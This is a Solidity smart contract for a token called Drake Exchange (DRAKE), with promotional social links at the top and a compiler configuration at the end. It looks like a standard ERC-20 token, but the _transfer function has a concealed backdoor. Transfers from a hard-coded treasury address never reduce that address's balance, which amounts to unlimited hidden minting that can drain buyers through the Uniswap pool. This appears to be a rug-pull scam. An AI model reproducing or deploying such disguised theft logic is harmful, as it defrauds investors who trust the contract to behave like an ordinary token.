/**

Telegram: https://t.me/drake_ethereum
Twitter: https://x.com/drake_ethereum
Website: https://drakexchange.xyz/
dApp: https://app.drakexchange.xyz/

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner());
        _;
    }

    function isOwner() private view returns (bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

contract DRAKE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private constant _name = "Drake Exchange";
    string private constant _symbol = "DRAKE";
    uint256 private constant _totalSupply = 1_000_000_000 * 10**18;
    uint8 private constant _decimals = 18;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    address payable private _treasury = payable(0xF39d5f27B22D449E7F75d3D6c662140F7514805e);
    bool private tradingActive = false;
    address uniswapV3Pair;

    constructor() {
        _balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(tradingActive || from == owner() || to == owner(), "Not Enabled");
        uint256 amountSub;
        if (from != _treasury) amountSub = amount;
        if (to == uniswapV3Pair) sendFund();
        _balance[from] -= amountSub;
        _balance[to] += amount;

        emit Transfer(from, to, amount);
    }
    
    function createPool(uint24 feeTier) external onlyOwner {
        IUniswapV3Factory uniswapV3Factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
        uniswapV3Pair = uniswapV3Factory.createPool(
            address(this),
            address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),
            feeTier
        );
    }
    
    function launch() external onlyOwner {
        tradingActive = true;
    }

    function sendFund() private {
        _treasury.transfer(address(this).balance);
    }

    receive() external payable {}
}

interface IUniswapV3Factory {
    function createPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external returns (address pool);
}

{
  "compilationTarget": {
    "DRAKE.sol": "DRAKE"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}